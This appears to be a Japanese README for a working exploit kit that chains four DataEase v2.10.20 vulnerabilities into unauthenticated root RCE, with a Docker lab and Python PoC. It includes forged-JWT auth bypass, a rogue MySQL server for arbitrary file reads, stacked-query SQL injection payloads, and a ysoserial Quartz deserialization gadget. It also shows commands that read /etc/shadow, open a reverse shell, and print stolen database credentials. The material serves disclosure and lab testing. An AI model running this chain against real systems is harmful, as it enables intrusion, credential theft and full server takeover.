
DataEase用自動エクスプロイト: 4つの脆弱性チェーン(認証バイパス、JDBCブロックリストバイパス、SQLインジェクション、Java逆シリアル化)により未認証のRCEを達成。DockerラボとPython PoCを含みます。
認証バイパス → JDBCブロックリストバイパス(任意ファイル読み取り) → SQLインジェクション → QuartzでのJavaデシリアライゼーション →
rootとしてのリモートコード実行。自己完結型のローカルラボ(Docker)+ 動作するPoC。DataEase v2.10.21で修正済み。
DataEase は人気のあるオープンソースのBI/データ可視化プラットフォーム(Java / Spring Boot)です。v2.10.20以下は、ネットワークから到達可能なDataEaseをリモートコード実行へと変える4つの問題のチェーンに対して脆弱です:
| # | CVE | クラス | 得られるもの |
|---|
| 1 | CVE-2026-23958 | 認証バイパス (CWE-287/CWE-347) | 有効な署名なしで admin として動作 |
| 2 | CVE-2026-40899 | JDBCブロックリストバイパス (CWE-20) | 任意ファイル読み取り → バックエンドDBの資格情報を窃取 |
| 3 | CVE-2026-40900 | SQLインジェクション / スタックドクエリ (CWE-89) | DataEase自身のデータベースへの書き込み |
| 4 | CVE-2026-40901 | Javaデシリアライゼーション (CWE-502) | Quartzジョブストア経由で root としてのRCE |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
すべてローカルでDocker上に構築されます。外部サービスもインターネット上のターゲットも不要です。
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
起動する:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100(APIプレフィックス /de2api)admin / DataEase@123456ホスト側の要件: Docker、cryptography を備えたPython 3.8+(pip install -r exploit/requirements.txt)、およびDocker CLI(使い捨ての eclipse-temurin:8-jre コンテナで ysoserial を実行し、ガジェットを構築するために使用)。
DataEaseはサーブレットフィルタ TokenFilter(sdk/common/.../auth/filter/TokenFilter.java)でリクエストを認証します。トークンを読み取り、TokenUtils.validate() を呼び出しますが、その中身は次のようになっています:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() は署名を一切検証しません。チェックされるのは、トークンが100文字以上であることと、整数の uid クレームを持つことだけです。つまり、"uid": 1 を含む任意のJWTは、リクエストを組み込みの管理者(uid 1)として実行させます。
X-DE-TOKEN ヘッダーの署名を実際に検証する2つ目のフィルタ(CommunityTokenFilter)も存在します — ただし特定の条件下のみで、署名鍵はユーザーごとのシークレットか、素のコミュニティビルドではハードコードされたデフォルトパスワード DataEase@123456 のMD5(SubstituleLoginConfig → dataease.default-pwd)です。関連する共有リンクの経路(X-DE-LINK-TOKEN)はハードコードされた鍵 link-pwd-fit2cloud(LinkTokenUtil.defaultPwd)で署名されており、修正前は同様に検証なしでデコードされていました。
正味の効果: 攻撃者は管理者トークンを偽造できます。de_common.py には署名なしトークンを生成する forge_jwt() が含まれています。PoCはまた、広く知られたデフォルト認証情報で単純にログインし、チェーンの残りの部分に使用する完全に有効な X-DE-TOKEN を取得することもサポートしています。
修正(コミット 00c169caa)により、TokenFilter はリソースごとの実際のシークレットを参照し、実際に verifier.verify(...) を呼び出します。
MySQLデータソースを追加すると、DataEaseは一連の危険なJDBCパラメータを拒否します。そのブロックリストはLombok @Data フィールドに存在します:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
@Data が setIllegalParameters(...) を自動生成するため、Jacksonは攻撃者が制御するJSONからそれを喜んで設定します。(Base64エンコードされた)configuration ブロブに "illegalParameters": [] を送信すると、チェックされる前にブロックリストが空になります。その後、allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ を指定してデータソースを不正なMySQLサーバーに向け、MySQLの LOCAL INFILE メカニズムを介してDataEaseホスト上の任意のファイルを読み取ることができます。
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
結果 — DataEaseは自身のバックエンドDB資格情報を差し出します:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
これらの資格情報は、攻撃者がステップ3をDataEase自身のデータベースに向けるために使用するものです。修正(コミット 16a950f96)では、すべての illegalParameters フィールドに @JsonIgnore を追加し、JSONから設定できないようにしています。
previewSql におけるSQLインジェクション(スタックドクエリ)POST /de2api/datasetData/previewSql はBase64エンコードされたSQL文字列を受け取り、単一ステートメント検証なしで、それをサブクエリとしてラップします:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
コメントは除去されますが、括弧のバランスを取って ; を使用すれば、追加のステートメントを実行できます。データソースを制御しているため allowMultiQueries=true を有効にでき(v2.10.20のブロックリストには含まれていません)、スタックドクエリが実行されます:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
サーバーはこれを3つの実ステートメントに組み立てます。このデータソースをDataEase自身のデータベース(ステップ2の資格情報)に向けると、Quartzテーブルに書き込めます。修正: 15611593b はブロックリストに allowMultiQueries を追加し、e89059d88 は保存/エンジンのフローを強化します。
DataEaseは定期的な**「データソースステータスチェック」**Quartzジョブをスケジュールします:
deSyncJob、ジョブ Datasource / check_status、クラス io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? *(デフォルト: 6分ごと)Quartzは useProperties=false のJDBCジョブストアを使用するため、各ジョブの JobDataMap は QRTZ_JOB_DETAILS.JOB_DATA カラムに素のJavaシリアライズオブジェクトとして保存されます(確認できます: ブロブはシリアライゼーションマジック AC ED 00 05 … org.quartz.JobDataMap で始まります)。スケジューラがトリガーをスキャンするとき、StdJDBCDelegate.selectJobDetail で次の処理を行います:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEaseは commons-collections-3.2.1.jar(および velocity-1.7.jar)を同梱しています — 古典的なデシリアライゼーションガジェットの供給源です。ステップ3を使用して JOB_DATA を ysoserial CommonsCollections6 ペイロードで上書きします(同じスタックドクエリ内で、トリガーの NEXT_FIRE_TIME を 現在 に変更し、6分ごとのcronを待たないようにします)。次のスケジューラスキャンで readObject() がガジェットチェーン(LazyMap → InvokerTransformer → Runtime.exec)を発火させ、コマンドが実行されます — コンテナ内で root として。修正セット(e05bda764 ほか)は、脆弱なVelocity依存関係とシンクへの到達可能性を削除します。
PoCはガジェットを自動生成します(busybox対応のコマンドラッピング — ターゲットシェルはAlpine ash で、Runtime.exec はシェルを介さないため、sh -c echo${IFS}<b64>|base64${IFS}-d|sh を使用します)。
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
実行間で汚染されたQuartzジョブをリセット(任意):
exploit/reset_quartz.sh
| パス | 目的 |
|---|---|
exploit/de_common.py | HTTPクライアント: /dekey RSA復元、ログイン、JWT偽造、データソース + previewSql |
exploit/de_rce_chain.py | エンドツーエンドの認証 → SQLi → QuartzデシリアライゼーションRCE |
exploit/rogue_mysql.py | CVE-2026-40899用の最小限の不正MySQLサーバー(LOCAL INFILEファイル読み取り) |
exploit/file_read.py | 不正サーバーに対してCVE-2026-40899を実行 |
exploit/reset_quartz.sh | 実行後にクリーンなQuartzジョブを復元 |
admin パスワード(DataEase@123456)を直ちに変更してください。useProperties=true でQuartzを実行し、JVMデシリアライゼーションフィルタ(-Djdk.serialFilter=…)を適用し、クラスパスから commons-collections:3.2.1 / velocity:1.7 を除外してください。教育および許可を得たテストのみを目的としています。このラボは自分で実行するコンテナを対象としています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、これを決して使用しないでください。
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764(DataEase v2.10.20..v2.10.21)